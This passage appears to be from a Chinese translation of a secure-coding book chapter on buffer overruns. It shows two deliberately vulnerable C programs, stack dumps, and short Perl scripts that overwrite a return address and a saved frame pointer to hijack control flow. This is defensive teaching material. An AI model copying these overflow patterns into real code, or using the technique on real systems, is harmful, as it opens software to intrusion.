printf(“Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n”);
}
void bar(void)
{
printf(“Augh! I’ve been hacked!\n”);
}
int main(int argc, char* argv[])
{
printf(“Address of foo = %p\n", foo);
printf(“Address of bar = %p\n", bar);
if (argc != 2)
{
printf("Please supply a string as an argument!\n");
return -1;
}
foo(argv[1]);
return 0;
}
這個例子就像程式語言初學範例的“Hello World”一樣簡單,筆者一開始做了一點欺騙的小動作,使用printf函數的%p引數列印出foo和bar兩個函數的位址。如果要實際入侵一個程式, 則必須試著跳進宣告於foo的靜態緩衝區,或是從系統中的動態連結資料庫(DLL)中找到一個有用的函數。這個練習的目的在於取得bar函數並執行。 Foo函數包含了一對printf的敘述,可以使用其多樣的引數在堆疊中列印出數值。真正的問題出現於foo函數盲目地接受使用者輸入的資訊,並且將其複 製到10個位元的緩衝之中。
| Note Stack-based緩衝溢位通常會被稱為靜態緩衝溢位。雖然靜態意味著一個真實的靜態變數,它將會被安排在全域記憶體空間中,靜態這個字眼與動態分配 是相對的。雖然靜態這個字眼代表了”超過負荷”,一般可以視為靜態緩衝溢位,等於“stack-based緩衝溢位”。 |
最好的方法就是在命令列中編譯程式,以產生一個可執行程式。請不要只是在Microsoft Visual C++中的偵錯模式中執行它,因為除錯(debug)會檢查堆疊的錯誤,且不會適當地顯示問題。然而,如果你將程式載入Visual C++,並在釋放模式(Release Mode)中執行,以下便讓我們來看看在提供一個字串作為命令引數之後的輸出值:
[d:\]StaticOverrun.exe Hello
Address of foo =00401000
Address of bar =00401045
My stack looks like:
00000000
00000000
7FFDF000
0012FF80
0040108A <--我們要覆寫foo的回傳位址.
00410EDE
Hello
Now the stack looks like:
6C6C6548 <--您可以看到“hello”被複製到哪
0000006F
7FFDF000
0012FF80
0040108A
00410EDE
接著我們輸入一個長字串以測試buffer overrun:
[d:\]StaticOverrun.exe AAAAAAAAAAAAAAAAAAAAAAAA
Address of foo =00401000
Address of bar =00401045
我的堆疊如下::
00000000
00000000
7FFDF000
0012FF80
0040108A
00410ECE
AAAAAAAAAAAAAAAAAAAAAAAA
結果堆疊就像以下這樣:
41414141
41414141
41414141
41414141
41414141
41414141
接著我們得到程式的錯誤訊息,表示要求0x41414141的指令,並試著在0x41414141的位址存取記憶體,如圖3-1所示:
| |
要注意的是,如果您在系統中沒有安裝任何開發工具,這樣的訊息只會出現在Dr. Watson的紀錄中。您可以查閱ASCII碼,很快知道0x41表示字母A,這個結果證明我們的程式是可用的。如果你無法了解這樣的結果,並不代表Buffer Overrun不可用,那是因為您需要花更多時間去了解。
| 溢位是可被利用的嗎? 如我們先前所簡單描述的,有很多方法會引起剝削溢位。除了一些微不足道的例子,它一般不可能證明緩衝溢位並不是可被利用的。你只可以證明某些事情是剝削溢 位可被利用的,所以任何現存的緩衝區溢位也是剝削溢位。也就是說,如果你無法證明它是剝削溢位,請假設它是剝削溢位。如果你告訴應用程式緩衝區溢位並不是 剝削溢位,奇特的是某些人將會發現一個證明它是剝削溢位,它將會讓你覺得不知所措。更糟糕的是,那可能可能發現那個溢位是剝削溢位,並且告訴犯罪者!
|
| 重要 別只是修正你認為是剝削溢位的錯誤,也要修正臭蟲。 |
接著我們看看如何找到輸入程式的字元:
[d:\]StaticOverrun.exe ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Address of foo =00401000
Address of bar =00401045
我的堆疊如下:
00000000
00000000
7FFDF000
0012FF80
0040108A
00410EBE
ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
結果堆疊如下:
44434241
48474645
4C4B4A49
504F4E4D
54535251
58575655
現在程式錯誤訊息顯示我們試著在0x54535251執行命令。由ASCII碼表得知,0x54表示字母T,這正是我們想要去修改的部分。接著我們再試試這個:
[d:\]StaticOverrun.exe ABCDEFGHIJKLMNOPQRS
Address of foo =00401000
Address of bar =00401045
目前的堆疊如下:
00000000
00000000
7FFDF000
0012FF80
0040108A
00410ECE
ABCDEFGHIJKLMNOPQRS
結果堆疊如下::
44434241
48474645
4C4B4A49
504F4E4D
00535251
00410ECE
藉由改變使用者輸入,我們可以運用程式本身試著執行下個命令的特性。說得更白一點,如果我們以0x45、0x10、0x40代替QRS的話,可以得到 bar函數並且執行。然而您將如何在命令列中傳送像是0x10這些奇怪的字元呢?正如其他手段高明的駭客,筆者將利用以下叫做Hack- Overrun.pl 的Perl語法,以易於在程式中隨心所欲傳送指令:
$arg ="ABCDEFGHIJKLMNOP"."\x45 \x10 \x40";
$cmd ="StaticOverrun ".$arg;
system($cmd);
執行此語法以產生想要的結果:
[d:\devstudio \myprojects \staticoverrun ]perl HackOverrun.pl
Address of foo =00401000
Address of bar =00401045
目前的堆疊如下:
77FB80DB
77F94E68
7FFDF000
0012FF80
0040108A
00410ECA
ABCDEFGHIJKLMNOPE?@
結果堆疊如下:
44434241
48474645
4C4B4A49
504F4E4D
00401045
00410ECA
Augh!I've been hacked!
這很簡單吧!其實初學者也很容易做到,但是在實際的攻擊中,我們將會填滿16個用來攻擊受害者的組合字元,並在緩衝的起頭設定回傳位址。
請注意,若你使用不同的編譯器或者是執行非英文版的作業系統,這些偏移量將會不同。而讀者會發現本書的前一版中,這個程式無法良好執行的原因就在這裡。當 然,這只是其中一個原因,我用了一些作弊的方法,並且印出了我的兩個函數,讓範例可以正確運作的方法就是使用下面所描述的方法,將bar函數的真實記憶體 位置放進你的Perl指令檔中,如果你使用Visual C++ .NET來編譯這些程式的話,預值值為/GS,以避免這個範例程式全部執行。除了將旗標拿出專案設定,或者是從自命令列中進行編譯。現在讓我們來看看這個 範例中,是什麼樣的小細節造成了很大的錯誤。
/*
OffByOne.c
*/
#include
#include
void foo(const char* in)
{
char buf[64];
strncpy(buf, in, sizeof(buf));
buf[sizeof(buf)] = ’\0’; //whups - off by one!
printf(“%s\n", buf);
}
void bar(const char* in)
{
printf(“Augh! I’ve been hacked!\n”);
}
int main(int argc, char* argv[])
{
if(argc != 2)
{
Chapter 5 Public Enemy #1: The Buffer Overrun 137
printf(“Usage is %s [string]\n", argv[0]);
return -1;
}
printf(“Address of foo is %p, address of bar is %p\n", foo, bar);
foo(argv[1]);
return 0;
}
我們可憐的程式設計師給了這個程式一個重擊—它使用strncpy將程式複製到緩衝區,而sizeof則被用來判斷緩衝區的大小。唯一犯的錯誤是它超過了它應該擁有的位元數。最好的方法是將偵錯的資訊加入所編譯過的軟體版本中。進入你的專案設定中,在C/C++ 設定中,設定偵錯設定選項,並且關閉會與最佳化相衝突的偵錯資訊。如果你使用Visual Studio .NET,請關閉/GS 選項及/RTC選項,或者是停用模擬項目。接下來,到連結選項中,啟動偵錯資訊(Debug Info)。
將開頭為a的字串都放到你的程式參數中,在foo處設定中斷點,接著讓我們來看看發生什麼事情。首先,先開啟你的登錄器編輯視窗,並且注意EBP值—這點 會變的非常的重要。現在,接著進入foo,拉下記憶體視窗,找出buf,strncpy呼叫將會把buf都填入a開頭的字串。而在buf下的下一個值是你 儲存的EBF指引器。現在執行下一行程式,以空字串結束1BUF,並且注意EBF指標是如何被儲存從0x0012FF80到0x0012FF00位址間的 變更。(在我的系統中,我用的是Visual C++ 6.0—而你的執行效果可跟我不同)。接著,判斷你儲存在0x0012FF00位址的內容—它現在被填入了0x41414141。現在執行printf 呼叫,右按程式,並且切換到反組譯模式。
開啟登錄器視窗,並且小心觀察會發生什麼事情。在ret指令之前,我們會看到ebp。現在,注意EBP登錄器中有我們的破壞值。我們現在回到我們開始要離 開的main 函數,而在籨從main函數返回前,執行的最後一個指令是mov esp、ebp—我們將要從EBP登錄器中取出它的內容—即我們的框架指標!請注意一旦我們執行了最後的ret呼叫,我們就會在0x41414141右邊 的位置。我們可以使用一個位元組就明確的控制執行流程。
要讓它成為剝削溢位的話,我們可以在簡單的stack-based的緩衝區溢位上使用相同的技巧。我們會將它修補到沒有錯誤為止。就像是第一個程式,一個用Perl撰寫的程式,是讓它運作的最簡單的方法。這裡是我的方法:
$arg = “AAAAAAAAAAAAAAAAAAAAAAAAAAAA”."\x40\x10\x40";
$cmd = “off_by_one “.$arg;
system($cmd);
這裡是它的輸出:
Address of foo is 00401000, address of bar is 00401040
AAAAAAAAAAAAAAAAAAAAAAAAAAAA@?@
Augh! I’ve been hacked!
要迎合這個剝削溢位的情況,需要幾種狀況。首先,在緩衝區的數位必須被4除盡,或者是住位元的緩衝溢位並不會改變儲存的EBP。接著,我們需要控制EBP 指向的位置,因此,如果EBP的最後的位元是0xF0,而我們的緩衝區少於240位元,我們並無法直接改變最後被移動到ESP中的值。不然,就會發生因為 差一錯誤而產生溢位的情況。“Apache mod_ssl,差一錯誤” 及wuftpd ‘glob是兩個很有名的例子,你可以在http://online.securityfocus.com/archive/1/279074及 ftp://ftp.wu-ftpd.org/pub/wu-ftpd-attic/cert.org/CA-2001-33這個位址找到它的內容。
注意
Intel的64位元處理器Itanium並不會在堆疊上推擠回傳位址,而回傳位址則由暫存器所掌握。這並不表示這個處理器不會受到buffer overrun的影響,只是較難達成overrun的效果。